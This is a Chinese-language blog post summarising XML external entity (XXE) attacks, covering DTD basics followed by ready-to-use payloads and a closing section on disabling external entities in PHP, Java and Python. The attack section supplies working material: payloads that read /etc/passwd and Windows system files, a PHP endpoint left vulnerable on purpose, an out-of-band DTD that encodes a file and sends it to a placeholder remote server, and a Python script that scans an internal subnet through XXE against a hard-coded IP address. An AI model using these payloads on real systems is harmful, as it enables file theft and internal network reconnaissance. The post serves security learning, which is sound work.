XXE攻击面的一些总结

原创

0xdawn 于 2020-04-20 15:23:32 发布 314 收藏

分类专栏： 学习笔记

本文链接：https://blog.csdn.net/weixin_43872099/article/details/105636200

0x00 前言

什么是XXE

简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如，如果你当前使用的程序为PHP，则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体，从而起到防御的目的。

0x01 基础知识

内部实体

XML文档有自己的一个格式规范，这个格式规范是由DTD（document type definition）控制的

示例

```
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
```

以上这个DTD定义了XML的根元素是`message`，元素下有一些子元素

XML实例

```
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
```

还可以在DTD 中定义实体(对应XML 标签中的内容)

示例

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
```

定义元素为 ANY 说明接受任何元素，但是定义了一个 xml 的实体，实体其实可以看成一个变量，到时候我们可以在 XML 中通过 & 符号进行引用

示例

```
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```

使用 &xxe 对 上面定义的 xxe 实体进行了引用，到时候输出的时候 &xxe 就会被 “test” 替换

外部实体

实体实际上可以从外部的 dtd 文件中引用

示例

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
```

引用公用DTD

```
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
```

通用实体

用 `&实体名;` 引用的实体，他在DTD 中定义，在 XML 文档中引用

示例

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
</updateProfile>
```

参数实体

- 使用 `% 实体名` 在 DTD 中定义，并且只能在 DTD 中使用 `%实体名;` 引用
- 只有在 DTD 文件中，参数实体的声明才能引用其他实体
- 和通用实体一样，参数实体也可以外部引用

示例

```
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
```

0x02 XXE攻击面

有回显读取本地敏感文件

xml.php

```
<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>
```

payload

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
```

无回显读取本地敏感文件

xml.php

```
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

?>
```

test.dtd

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
```

payload

```
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
```

调用过程

连续调用了三个参数实体 %remote;%int;%send;，这就是我们的利用顺序，%remote 先调用，调用后请求远程服务器上的 test.dtd ，有点类似于将 test.dtd 包含进来，然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件，然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 `&#37;`)，我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上，这样就实现了外带数据的效果，完美的解决了 XXE 无回显的问题。

http内网主机扫描

```
import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue
```

http内网端口扫描

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
```

内网盲注

强网杯2018Wechat

参考链接：强网杯Writeup

文件上传

jar:// 协议的格式：

```
jar:{url}!{path}
```

实例：

```
jar:http://host/application.jar!/file/within/the/zip

这个 ！ 后面就是其需要从中解压出的文件
```

jar 能从远程获取 jar 文件，然后将其中的内容进行解压，等等，这个功能似乎比 phar 强大啊，phar:// 是没法远程加载文件的（因此 phar:// 一般用于绕过文件上传）

jar 协议处理文件的过程：

- 下载 jar/zip 文件到临时文件中
- 提取出我们指定的文件
- 删除临时文件

jar://协议配合file://协议找到临时文件

0x03 漏洞防御

禁用外部实体

PHP：

```
libxml_disable_entity_loader(true);
```

JAVA:

```
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
```

Python：

```
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```

参考链接一篇文章带你深入理解漏洞之 XXE 漏洞